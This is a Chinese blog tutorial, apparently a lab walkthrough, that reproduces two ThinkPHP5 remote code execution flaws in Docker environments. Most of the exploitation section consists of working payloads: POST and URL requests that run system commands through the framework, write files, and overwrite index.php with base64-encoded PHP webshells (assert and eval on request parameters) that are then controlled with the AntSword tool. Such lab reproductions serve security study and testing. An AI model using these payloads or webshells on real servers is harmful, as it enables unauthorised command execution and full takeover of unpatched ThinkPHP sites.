您现在的位置是:首页 > 技术教程 正文

ThinkPHP5系列远程代码执行漏洞复现(详细)

admin 阅读: 2024-03-15
后台-插件-广告管理-内容页头部广告(手机)

一:5.0.23-rce版本漏洞复现

漏洞描述

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下可执行任意方法,从而导致远程命令执行漏洞。 漏洞危害

环境搭建

启动环境

切换到/thinkphp/5.0.23-rce# 目录下

<code class="language-plaintext hljs">vim docker-compose.yml </code> 426c1b7ea3e0366929b6879360cfba6f.png

将version改为2,保存并退出

接着执行

<code class="language-plaintext hljs">docker-compose up -d</code> 8ce86c3accb76c0e46f1b9fc27252223.png

此时环境搭建成功

b6b76316762f533133fca52e94b5c26e.png

漏洞复现

在网页上利用POST构造payload

(1)查看目录下的文件(ls)

<code class="language-plaintext hljs">_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls</code> 4c5f8877cb4c281ba79a9ad46761bf9b.png

(2)查看id

<code class="language-plaintext hljs">_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id</code> 8a81e04b9d4f563dc303137ab1a61262.png

(3)查看当前目录

<code class="language-plaintext hljs">_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd</code> 1050193a6d66c55887d544a3c6e5333e.png

将上述代码改为phpinfo,发现是可以输出关于 PHP 配置的信息

<code class="language-plaintext hljs">_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1</code> dd09777d297129c974313da5ba3cd392.png

利用蚁剑工具getshell

由于存在过滤,需要用到base64加密来使我们的一句话木马上传成功

我们知道了一定存在index.php这个文件,那么我们就对其进行修改为一句话木马的样式

利用 echo “” >index.php 进行测试

为了显示我们成功注入,我们在其中添加字段变为

echo “aaabbb” >index.php

对引号内的进行base64,注意此时的引号不需要进行加密

经过测试,发现eval函数是注入不了的,需要替换为arrest函数才可以成功注入

所以

 

将aaa<?php @assert($_POST['xss']);?>bbb 进行base64编码

 

04545c0588ad8083a30d28e8a205a641.png

 

<code class="language-plaintext hljs">_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > index.php</code> 16c955f0d4fed56bd7b75a9e595f0f69.png

成功回显出aaabbb,说明是加入到了index.php里了

开始用蚁剑,URL地址填写我们一句话木马的位置

注意要选择char16和base64

ecc63b66bc8f72c075ba402d31d889d2.png f70e754fe670303a17ea5055e6105e3c.png

测试连接成功

可以看到我们刚才写入的一句话

2065e1b15feba1885c3fd2f5f44bfc32.png

 

二:5-rce版本漏洞复现(Thinkphp5 5.0.22/5.1.29)

环境搭建

 

启动环境

切换到/thinkphp/5-rce# 目录下

 

<code class="language-plaintext hljs">vim docker-compose.yml </code> e92527b43a4e6ff8e4693557594ead3d.png

将version改为2,保存并退出

接着执行

<code class="language-plaintext hljs">docker-compose up -d</code> 5a3426561a4635562c7fca5b15c99b30.png

此时环境以成功搭建

de1b5d98e8d97fee0ee183741b54ef23.png

漏洞复现

(1)输出关于 PHP 配置的信息

<code class="language-plaintext hljs">/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100</code> 5411329d78834393692474e1522ba69c.png

(2)whoami

<code class="language-plaintext hljs">/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami</code> a791884a62f9e7bf731d7e74dab82241.png

(3)还可以将php代码写入文件

<code class="language-plaintext hljs">/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?></code> f0018e0b339c7b0a1f25114a01919a62.png

接着访问shell.php

93544534ac0f8d00be691c5fa7016db9.png

 

利用蚁剑工具getshell

由于存在过滤,需要用到base64加密来使我们的一句话木马上传成功

我们知道了一定存在index.php这个文件,那么我们就对其进行修改为一句话木马的样式

<code class="language-plaintext hljs">aa<?php @eval($_REQUEST['attack']) ?>bb</code>

将上面的一句话进行base64加密

2ef93de79fb6a7fe81948937f27f2687.png

将一句话写入index.php

<code class="language-plaintext hljs">/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi | base64 -d > index.php</code> 51980ece0084ec2d25c09b618a8cd234.png

成功回显出aabb,说明是加入到了index.php里了

开始用蚁剑,URL地址填写我们一句话木马的位置

注意要选择char16和base64

c9069f2e9076cfbeb7c5c97cd591c5f3.png 73bacdae86fa30611ab196dd135f9313.png

测试连接成功

可以看到我们刚才写入的一句话

6d38f824bcfbab37e34e1f3c405f6b1d.png

此时复现圆满完成~

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索
排行榜